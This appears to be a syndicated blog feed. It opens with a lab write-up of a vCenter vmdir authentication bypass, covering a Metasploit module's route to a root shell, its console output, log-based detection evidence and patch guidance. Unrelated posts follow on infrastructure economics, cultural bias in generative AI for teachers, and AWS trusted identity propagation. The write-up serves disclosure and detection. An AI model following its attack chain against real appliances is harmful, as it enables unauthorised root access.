The Metasploit module separates the inexpensive key-disclosure check from the full authentication attempt. check creates an owned verifier and asks for its key through a second anonymous association. run then performs the pending-login search, completes SRP, and verifies the protected operation.
The module’s default RPC action retains the authenticated association and exposes a vmdir > prompt with state and whoami commands. Selecting ACTION SHELL continues through database export, SAML API authentication, and SSH to a root command shell. The fresh end-to-end test produced the following output:
[+] 192.168.1.81:2012 - Root execution verified: uid=0(root) gid=0(root) groups=0(root),4044(shellaccess) [*] Command shell session 1 opened (192.168.1.70:62059 -> 192.168.1.81:22) at 2026-11-20 07:48:25 -0700 ... [*] 192.168.1.81:2012 - Interacting with shell session 1; use background to return to msfconsole ... root [ /home/sebastian-fritsch ]# id uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
CreateSession defaults to true for either action. We resumed the root shell and ran id to show root access before exiting.
The shell action saves the generated account credentials and original SSH/Bash settings before changing the appliance. It retains the temporary account and access settings while the session is open. On exit, it closes SSH, restores the original settings, and deletes its account through the API. The order matters: the appliance refuses to delete an account that still has running processes, and disabling SSH terminates active connections. Closing the console abruptly can prevent cleanup; the saved recovery details identify the account and settings to restore.
The unauthenticated key queries are visible before the client establishes packet privacy. Useful network evidence includes repeated calls to operation 1 on the SRP helper interface, with no RPC authentication verifier and context UUIDs that differ mainly in their timestamp fields. In our reproduction, those queries occur between the pending login’s initial bind and its SRP proof continuation.
The helper interface UUID, operation number, authentication state, query volume, and UUID pattern are useful together. A connection to port 2012 or an administrator SRP login on its own does not establish exploitation.
The appliance also retains evidence of the database export and subsequent administration. We recovered the following records from the same vCenter 8.0.2.00400 appliance after the test accounts had been removed.
/var/log/vmware/vmdird/vmdird-syslog.log:
2026-11-20T14:45:46.792144+00:00 info vmdird t@140450245629504: Remote DB transfer (/storage/db/vmware-vmdir/data.mdb) granted.
The directory service records this message when its filename allowlist grants a remote database-copy request. It identifies the requested database, but does not include the caller’s address or prove that the transfer completed. An unexpected grant for data.mdb provides a timestamp to correlate with network traffic and the later API activity; legitimate directory replication can also use this interface. The SRP bypass can occur without a database-copy request, so this entry identifies the export stage.
/var/log/vmware/vapi/endpoint/endpoint-access.log:
2026-11-20T14:48:08.065Z | vAPI-I/O dispatcher-0 | e97ae44e-a503-4b58-9b68-1168c80e89c6 | 192.168.1.70 - - [20/Nov/2026:14:48:07 +0000] "POST /rest/appliance/local-accounts/sebastian-fritsch HTTP/1.1" 200 0 "-" "Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1" 233
The API access log records the source address, request path, status, and user-agent. This request creates the account used by the root-shell stage. The same file contains our POST /rest/com/vmware/cis/session, PUT /rest/appliance/access/ssh, PUT /rest/appliance/access/shell, and eventual account-deletion requests. An HTTP 200 on a settings request does not reveal which value was applied, so the appliance management log supplies the next part of the sequence.
/var/log/vmware/applmgmt/applmgmt.log:
2026-11-20T14:48:07 PM UTC [47843]INFO:vmware.appliance.localaccounts.localaccounts_impl:[email protected] created the local account user sebastian-fritsch 2026-11-20T14:48:09 PM UTC [47843]DEBUG:root:com.vmware.appliance.version1.access.ssh.set(enable=True) 2026-11-20T14:48:10 PM UTC [47843]DEBUG:root:com.vmware.appliance.version1.access.shell.set(config=Structure('ShellConfig', dict(enabled=True, timeout=600))) 2026-11-20T14:49:34 PM UTC [47843]INFO:vmware.appliance.localaccounts.localaccounts_impl:[email protected] deleted the local account user sebastian-fritsch.
These records identify [email protected] as the account creator and show SSH and Bash being enabled. The configuration values appear in DEBUG-level records on the tested appliance; the account creation and deletion records are INFO-level. The forged SAML session is treated as an administrator session, so that identity alone does not distinguish it from legitimate administration.
/var/log/audit/sshinfo.log.1.gz, decompressed:
2026-11-20T14:48:12.368544+00:00 node-1w7jr9qrllzwd9vncrrr8zlf9 sshd[592859]: Accepted password for sebastian-fritsch from 192.168.1.70 port 62059 ssh2 2026-11-20T14:48:17.298091+00:00 node-1w7jr9qrllzwd9vncrrr8zlf9 sudo: sebastian-fritsch : TTY=pts/0 ; PWD=/home/sebastian-fritsch ; USER=root ; COMMAND=/bin/bash -i 2026-11-20T14:49:34.208901+00:00 node-1w7jr9qrllzwd9vncrrr8zlf9 userdel[593806]: delete user 'sebastian-fritsch'
The SSH and sudo records tie the new account to the API client’s address and a root Bash shell. They also retain the deletion performed during cleanup. Search sshinfo.log and its rotated copies; these entries had moved into sshinfo.log.1.gz by the time we collected them. Matching records are also available through the system journal.
/var/log/audit/audit.log:
type=EXECVE msg=audit(1795186087.886:3732): argc=6 a0="/usr/sbin/useradd" a1="-m" a2="-G" a3="superAdmin" a4="--" a5="sebastian-fritsch" type=EXECVE msg=audit(1795186097.286:3767): argc=4 a0="sudo" a1="-n" a2="/bin/bash" a3="-i"
Linux audit records preserve the command arguments for adding the user to superAdmin and invoking sudo -n /bin/bash -i. These examples come from a rotated audit log. They remain available after the account and its home directory are removed, subject to log retention.
For this reproduced path, correlate an unexpected database-transfer grant with creation of a local administrator, SSH/Bash enablement, and an SSH login followed by sudo. The database-copy grant appears at 14:45:46 UTC, account creation at 14:48:07, and the root-shell command at 14:48:17. These are administrative operations that can occur legitimately; their sequence and whether they fit expected activity determine their value as indicators. The account name, source address, user-agent, UUIDs, and session values shown here belong to our lab run and are not fixed attacker identifiers.
Broadcom identifies vCenter 8.0 U3m as the fixed release for the 8.0 branch in VMSA-2026-0009 and its accompanying FAQ. Other release branches have their own guidance. Apply the vendor’s supported update for the deployed product and keep the directory-service management interfaces reachable only by the systems that need them.
The failed boundary spans both the SRP helper and the RPC runtime: a pending authentication key is exposed, and a connection can resolve a context that it does not own. Replacing predictable UUIDs alone leaves that ownership problem in place. We did not compare the vendor’s fixed binaries, so this analysis does not attribute a particular code change to the patch.
Post Syndicated from The History Guy: History Deserves to Be Remembered original https://www.youtube.com/watch?v=c1t0-eaS__M
Post Syndicated from Matt Granger original https://www.youtube.com/shorts/3sSWp3etXk0
Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/11/we-get-the-infrastructure-we-pay-for.html
This essay originally appeared as part of a round table in The Free Press entitled “Is America’s Infrastructure Under Attack?”
Microsoft, the FAA, banks, United Airlines, the NSA—it’s been a really bad week in cyberspace. But, amazing as it might seem, these are not related. As far as we know, they’re not the result of cyberattacks. They’re not even related to AI. (Well, that’s mostly true. The NSA will probably never tell us what went wrong.) It’s really just a series of unfortunate coincidences.
Our computerized infrastructure is vulnerable and fragile. Much of it is old, and has been incrementally patched and upgraded. A surprising amount of it is maintained by hobbyists, without any recompense. And more and more of it is centralized: the same systems affecting many different aspects of our lives and society. In many cases, it just barely works. And when it fails, it tends to fail badly.
There are a lot of technological reasons why this is true, but they are all downstream of the economic ones. The technologies we rely on are built and maintained within our economic system—and that’s where the core problem lies.
Security, safety, resilience, redundancy, recoverability—these are all essential parts of reliable technology, but they are all costs.
More importantly, they are inefficient: costs that feel wasteful until something bad happens. Modern shareholder capitalism, and private equity in particular, squeeze all inefficiencies out of a company in pursuit of near-term profits. Competition, with multiple companies competing to do the same thing, is another inefficiency. Monopolization removes that in pursuit of near-term profits.
The result is brittle systems, single points of failure. They’re more susceptible to cyberattack—both human and AI-fueled—and more susceptible to random mistakes. The more we allow unregulated capitalism to privatize gains while socializing risks, the more we should expect these sorts of failures.
Fixing this is technical, but it’s political first. It requires changing incentives, and that involves regulation and control. “What to do” is easy; finding the political will to stand up to moneyed interests and do it is hard.
Post Syndicated from Ben Garside original https://www.raspberrypi.org/blog/who-is-weird-thoughts-on-teaching-with-generative-ai-tools/
Teaching is one of the most creative professions, and that creativity is reflected in the many innovative ways educators use generative AI tools in education. Many of us are experimenting with AI tools to help draft lesson plans, adapt activities for different learners, create code examples, and reduce some of the repetitive work that is a part of teaching. With AI tools becoming widely used in education, it is worth asking deeper questions: whose knowledge and perspectives are AI systems actually built from, and what could be the impact?
Imagine a History teacher planning a lesson on empires or migration. If they built the lesson on one textbook or national perspective, it may tell a very different story to a lesson built on multiple sources, cultures, and interpretations. Teachers are used to thinking critically about where their information comes from, whose perspectives are represented, and how source selection shapes their learners’ understanding.
Generative AI raises similar questions at a much larger scale. Generative AI models are created using enormous training datasets, which contain data gathered on the internet from websites, books, forums, social media platforms, and videos. The outputs of generative AI models, such as large language models (LLMs), will reflect the views, cultures, assumptions, and priorities most heavily represented in their training data.
Where data comes from and who created the data is called ‘data provenance’ by researchers. In a research project to audit the data provenance of over 4000 datasets used to train modern AI models, the project team found that “[data] creators are heavily concentrated in the US, China, and Western Europe, with little to no representation in South America or Africa, across [text, speech, and video]”. That means the perspectives of people across South America or Africa are underrepresented in the resulting AI models.

Another research team published a paper called ‘Which humans?’ where they described testing where large language model (LLM) outputs sit among large-scale cross-cultural data on psychological measures. The team found that when prompted with cognitive psychological tasks, LLMs produced outputs most similar to the task solutions of WEIRD people: Western, Educated, Industrialised, Rich, and Democratic. Only around 12% of the world’s population are WEIRD.

At first glance, this might seem like a language issue. But it goes deeper than language and translation. It’s about what different cultures value, assume, and believe.
An example from education is helpful here. The book Cleverlands by Lucy Crehan explores education systems around the world. Something Crehan describes in the book is the importance many Japanese schools place on group harmony and social cohesion, and how in contrast, many Western schools encourage students to stand out, challenge ideas, and express themselves individually. Neither approach is universally “correct”, but as examples they reveal how deeply culture shapes ideas about behaviour, success, and learning itself. Ideas about what makes a “good” student, how professionalism should be expressed, how disagreement should sound, or whether people describe themselves through personal achievements or through family and community relationships can vary significantly across cultures.
One of the most interesting findings in the ‘Which humans?’ paper is that LLM outputs mostly reflected more individualistic Western styles of thinking. In practice, this means AI-generated content may reinforce particular cultural norms while presenting them as normal and universal. Students learning with AI-generated content may not only be learning computing concepts or practising programming tasks, but also absorbing the ideas about identity, communication, and belonging embedded within the generated examples and explanations.
These cultural assumptions become much easier to spot when language models are asked to generate stories about people. A study presented by Dr Thema Monroe-White at one of our research seminars this year demonstrated this with solid data.
The results of the study were striking. Dr Monroe-White found that stories generated by LLMs showed consistent patterns of who was the focus in the stories, who appeared successful, and who occupied positions of authority or dependency. The study explored this by asking several major LLMs to generate short open-ended stories about classrooms, workplaces, and relationships. Importantly, the prompts did not explicitly mention race, gender, or ethnicity. Yet the models still produced remarkably consistent patterns in who appeared as the “star student”, the mentor, the professional, or the person needing help.
None of the study’s prompts asked LLMs to stereotype anyone. The patterns emerged anyway. This doesn’t suggest that LLM developers deliberately intended these outcomes. Rather, the models appear to reproduce patterns of bias already embedded within their training data. That the LLMs reproduce bias without being prompted can make the bias more difficult to notice.
Many of us educators are approaching AI tools with a mixture of curiosity, caution, and creativity. We are not looking to automate teaching. We are looking for practical ways to support learners, reduce workload, and spend more time focusing on the parts of teaching that matter most.
While we do this, we need to keep in mind that these systems are built from human data, shaped by particular cultures, languages, histories, and power structures. What an AI model presents as neutral, helpful, or normal may reflect a much narrower slice of humanity than we realise.
This is not a question of whether it is right or wrong to use AI tools in education. It is about recognising that seemingly neutral outputs may still carry hidden assumptions about culture, identity, ability, and belonging. If generative AI increasingly shapes the examples, explanations, and stories our students encounter, then learning to question those assumptions may become one of the most important forms of critical thinking we teach.
For AI literacy resources that promote critical thinking, explore Experience AI. https://experience-ai.org/en
For more articles on critical thinking in the age of AI, download issue 30 of Hello World https://www.raspberrypi.org/hello-world/issues/30
The post Who is WEIRD? Thoughts on teaching with generative AI tools appeared first on Raspberry Pi Foundation.
Post Syndicated from Laura Reith original https://aws.amazon.com/blogs/security/know-the-identity-behind-the-role-authorize-and-audit-with-trusted-identity-propagation/
Today, AWS is making it easier to grant access and audit activity based on the user or workload (a non-human caller, such as an application, service, or an automated workflow) behind an AWS Identity and Access Management (IAM) role. Trusted identity propagation (TIP) carries the identity of the user or workload with each AWS request, so you can grant permissions to that user or workload and trace its actions in AWS CloudTrail. Until now, TIP was available only for users who access AWS through AWS IAM Identity Center. We’ve extended TIP to IAM federation and AWS IAM Roles Anywhere, making it work for users and workloads that federate directly into IAM roles or use X.509 certificates to obtain AWS credentials. We’ve also made TIP simpler to use with IAM Identity Center.
This post explains how TIP works and what’s new with this launch. It then shows two examples of how TIP improves auditability and access control based on the user or workload behind an IAM role. The post ends with how to get started depending on your preferred federation path into AWS.
Customers have told us they want to control access to AWS resources and audit activity based on the user or workload behind an IAM role. Today, access control decisions apply to the role, and CloudTrail attributes each action to the role session. To give two users or workloads different access, you either create a separate role or share one role and write policies that check session attributes. Separate roles lead to role proliferation. Session attributes carry across role sessions only when you grant additional permissions, and the session doesn’t record who set each attribute.
TIP addresses this gap by attaching identity context from a trusted source, such as your identity provider (IdP), to the role session at the time of credential issuance. This identity context identifies the user or workload behind a request and can include optional claims for the session, such as a risk score or a continuous integration and delivery (CI/CD) workflow name. Trusted sources include external SAML or OIDC IdPs configured for IAM federation, IAM Identity Center, and X.509 certificates configured for IAM Roles Anywhere.
After AWS attaches identity context to a role session, the context can’t be changed for the lifetime of the session. This approach gives IAM policies and audit records a stable reference to the user or workload behind each request. The context also carries forward to supported downstream requests. When a TIP session (a role session that carries identity context) assumes another role, AWS Security Token Service (AWS STS) carries the context into the new role session. Similarly, when an AWS service makes a downstream request on your behalf, the request uses forward access sessions (FAS), and the FAS credentials carry the identity context from your session.
Note: TIP context propagates to a new role session only when the target role is in the account where the identity provider is configured, or if the target role is in another account in the same AWS organization. To learn how account and organization boundaries determine TIP context propagation, see Understand where TIP context propagates in the IAM User Guide.
Figure 1 shows how this flow works end-to-end. A user or workload obtains AWS credentials through one of three paths. With IAM federation, the source is a SAML assertion or OIDC token for a user or workload. With IAM Identity Center, the source is the username that IAM Identity Center receives from your identity source. With IAM Roles Anywhere, the source is an X.509 certificate for a user or workload. AWS validates the source and attaches identity context to the role session. That context stays with the session’s requests, whether the session calls an AWS service directly, assumes another role, or causes an AWS service to make downstream requests through FAS. IAM policies then evaluate the identity context to authorize requests, as the Amazon Simple Storage Service (Amazon S3) bucket policy example later in this post shows, and AWS CloudTrail records it, as the AWS Lambda example shows. With IAM outbound identity federation, the session can also request a signed JSON Web Token (JWT) that carries identity context to an external service.
AWS represents the identity context carried in a TIP session through three groups of context keys. The following table summarizes their purpose and points to the corresponding documentation. For details about what these context keys contain and when they appear in a TIP session, see TIP context keys in IAM policies.
| Context keys | Purpose |
| aws:OriginIdentity/* | Identifies the user or workload that started the request and the source that issued its identity. |
| aws:TransactionContext/IdentityProvider/* | Carries optional claims from your IdP, such as a risk score or a CI/CD workflow name. Available only for IAM federation. |
| aws:IdentityCenterInstanceArn and aws:IdentityStoreArn | Identifies the IAM Identity Center instance and identity store behind a session. If you use IAM Identity Center permission sets or IAM account access manager, you can use these keys in IAM policy conditions. For example, you can allow access only to workforce users from a specific instance. |
Table 1: TIP context key categories and what they represent.
aws:OriginIdentity/* is the common namespace for identity information from IAM federation, IAM Identity Center, and IAM Roles Anywhere. Across all three paths, aws:OriginIdentity/Subject identifies the user or workload that started the request, aws:OriginIdentity/SubjectType indicates whether the request was started by a user or workload, and aws:OriginIdentity/Issuer identifies the source that issued the identity. For IAM federation and IAM Roles Anywhere, aws:OriginIdentity/FederatedProviderArn also contains the Amazon Resource Name ARN) of the IAM IdP or IAM Roles Anywhere trust anchor that authenticated the identity.
IAM policies can evaluate TIP context keys when those keys are present in the request. CloudTrail records identity context in the userIdentity element of events. The userIdentity.onBehalfOf section records the user or workload identity from aws:OriginIdentity context keys, and the userIdentity.transactionContext section records IdP claims from aws:TransactionContext/IdentityProvider context keys. For field definitions and examples see Logging TIP activity with AWS CloudTrail.
TIP gives you the following benefits for authorizing and auditing access based on the user or workload behind an IAM role.
aws:OriginIdentity context keys, so you write policies and review CloudTrail consistently across more than 250 supported AWS services. Across supported workflows, identity context propagates without adding the sts:SetContext permission to role trust policies.This launch extends TIP to IAM federation and IAM Roles Anywhere, and simplifies TIP in IAM Identity Center. You can also share identity context with services outside AWS through IAM outbound identity federation.
aws:OriginIdentity/Subject context key, in IAM policy conditions and view it in CloudTrail events. For more information, see Simplified experience for trusted identity propagation. aws:TransactionContext/IdentityProvider/* context keys. TIP is turned on by default for new IAM IdPs, and you can turn it on for existing providers. For more information, see TIP for IAM Federation.aws:OriginIdentity/Subject to the certificate’s Subject common name by default, or to its URI Subject Alternative Name. TIP is turned on by default for new IAM Roles Anywhere profiles, and you can turn it on for existing profiles. For details, see Trusted identity propagation with IAM Roles Anywhere.The following examples demonstrate two core benefits of TIP: auditability—tracing actions back to the user or workload—and access control based on that identity. In the first example, AnyCompany uses identity context logged in CloudTrail to identify the GitHub Actions workflow run that deployed new code to a production AWS Lambda function. In the second, AnyCompany uses an Amazon Simple Storage Service (Amazon S3) bucket policy that grants read access only to low-risk sessions initiated from a specific IdP.
This example shows how TIP improves auditability: identity context in CloudTrail identifies the workload, and the specific workflow run, behind an action taken with a shared role. AnyCompany stores the backend code for its payment-processing application in the anycompany/payments-api GitHub repository. A code change merged into the repository’s main branch triggers the GitHub Actions workflow defined in .github/workflows/deploy.yml. The workflow uses GitHub OIDC federation to assume a shared CICDDeployRole role, then calls the Lambda UpdateFunctionCode API operation to deploy the new code to the production payments-api-prod function. CloudTrail records this operation as an UpdateFunctionCode20150331v2 management event.
Before TIP, the CloudTrail event shows that the CICDDeployRole/GitHubActions role session updated payments-api-prod. It doesn’t identify the GitHub repository, workflow file, or workflow run that performed the update. Investigators must match the event timestamp with GitHub records to find the responsible workflow run.
Figure 2: How TIP enables attribution of a production Lambda code update to the GitHub Actions run that performed it
AnyCompany enables TIP on its GitHub OIDC IdP. It maps the GitHub OIDC token subject to aws:OriginIdentity/Subject, configures aws:OriginIdentity/SubjectType as workload, and maps the repository, workflow_ref, and run_id claims into aws:TransactionContext/IdentityProvider/* context keys. The resulting role session identifies the workload and carries the information needed to trace the deployment to its GitHub Actions run.
With TIP, the CloudTrail management event for the Lambda UpdateFunctionCode API operation on payments-api-prod now contains the workload and workflow information:
An investigator can now see that GitHub Actions run 19283746550 from the anycompany/payments-api repository updated the production payments-api-prod function through the deploy.yml workflow. The shared role, its trust policy, and its permissions remain unchanged. TIP adds workload and workflow attribution to the existing deployment model.
This example shows how TIP supports access control: an Amazon S3 bucket policy uses a runtime risk signal from an IdP to decide, per session, whether a user of a shared role can read sensitive data. AnyCompany’s workforce users federate to AWS through an OIDC IdP and use a shared DataAccessRole to read objects from an Amazon S3 bucket. AnyCompany configures its IdP to evaluate each authentication and add a numeric risk score, from 0 to 100, to the OIDC token as a custom claim. AnyCompany enables TIP on the IAM OIDC IdP and maps the riskScore claim to the aws:TransactionContext/IdentityProvider/riskScore context key. During federation, AWS validates the token and attaches the mapped riskScore value to the role session. AWS derives aws:OriginIdentity/Issuer from the iss (issuer) claim in the OIDC token.
Before TIP, a bucket policy that grants access to DataAccessRole gives every user who assumes the role the same access, regardless of how risky their authentication was. With TIP, an S3 bucket policy can evaluate both the IdP that issued the token and the risk score carried in the session. The following policy grants read access only when the expected IdP (issuer) issued the identity, and the current session has a risk score of 30 or lower. The issuer condition prevents a riskScore value from another IdP from satisfying the policy.
Figure 3: How an S3 bucket policy uses trusted identity context to make a per-session access decision
Note: This policy example is for the IAM federation access path. Mapping SAML attributes or OIDC claims to optional
aws:TransactionContext/IdentityProvider/*context keys is available only for IAM federation.
Amazon S3 bucket policy using trusted runtime context
The policy has two conditions: the identity must come from idp.example.com, and the session’s risk score must be 30 or lower. A low-risk session from idp.example.com satisfies both conditions. A session with a risk score above 30, a missing risk score, or a different issuer doesn’t receive access from this policy. The risk score remains fixed for the lifetime of the role session, so choose a session duration appropriate for the sensitivity of the access.
Missing TIP context keys. A TIP context key is missing when the session carries no identity context or the request goes to an AWS service that doesn’t support TIP. To prevent an Allow statement from granting access when a required key is missing, use operators without IfExists, such as StringEquals or NumericLessThanEquals, as the preceding bucket policy does. Avoid operators such as StringEqualsIfExists in an Allow statement because they evaluate to true when the key is missing. In a Deny statement, add IfExists when the Deny should also apply if the key is missing. Such a Deny also applies to requests sent to AWS services that don’t support TIP, so confirm service support before adding TIP conditions. For more information, see Condition operators.
TIP conditions with cached AWS KMS data keys. Some AWS services, such as Amazon SQS, reuse cached AWS KMS data keys across requests from different sessions of the same IAM role, because the cache key is based on the role and does not include TIP context. When an AWS service reuses a cached data key, it does not send a new authorization request to AWS KMS, so AWS KMS does not evaluate the later session’s TIP context. If you use TIP context to control access to encrypted data, enforce the TIP conditions in the policy for the encrypted resource, such as an Amazon S3 bucket policy, rather than relying only on the AWS KMS key policy. For more information, see AWS KMS guidance for cached data keys.
Your first step to getting started with TIP depends on how your users and workloads obtain AWS credentials. Use the following table to find the TIP option for your use case and get started.
| Use case | TIP option | How to start |
| Centrally managed workforce access | IAM Identity Center | All IAM Identity Center instances can upgrade to the simplified experience for TIP. Before you upgrade, review the considerations for the simplified experience. For more information, see Simplified experience for trusted identity propagation. |
| Direct SAML or OIDC federation into IAM roles | IAM federation | New IAM IdPs have TIP turned on by default. For an existing IdP, turn on TIP on that provider, then map the claim that identifies the user or workload, and any optional claims your policies need, to TIP context keys. For more information see TIP for IAM Federation. |
| X.509-based access for users and workloads outside AWS | IAM Roles Anywhere | New profiles have TIP turned on by default. For an existing profile, enable TIP on the profile. For details, see Trusted identity propagation with IAM Roles Anywhere. |
With this launch, TIP carries the identity of the user or workload from a trusted identity source into the role session for IAM federation, IAM Identity Center, and IAM Roles Anywhere. You can grant access based on the user or workload making the request and use CloudTrail to trace actions across more than 250 supported AWS services back to that identity. This gives you a consistent authorization and audit model across federation paths, without creating a separate role for every identity or adding the sts:SetContext permission to role trust policies.
To get started, find your federation path in the preceding table and follow the steps in the How to start column.
If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.
Post Syndicated from The Atlantic original https://www.youtube.com/watch?v=xEMl6U-0MOU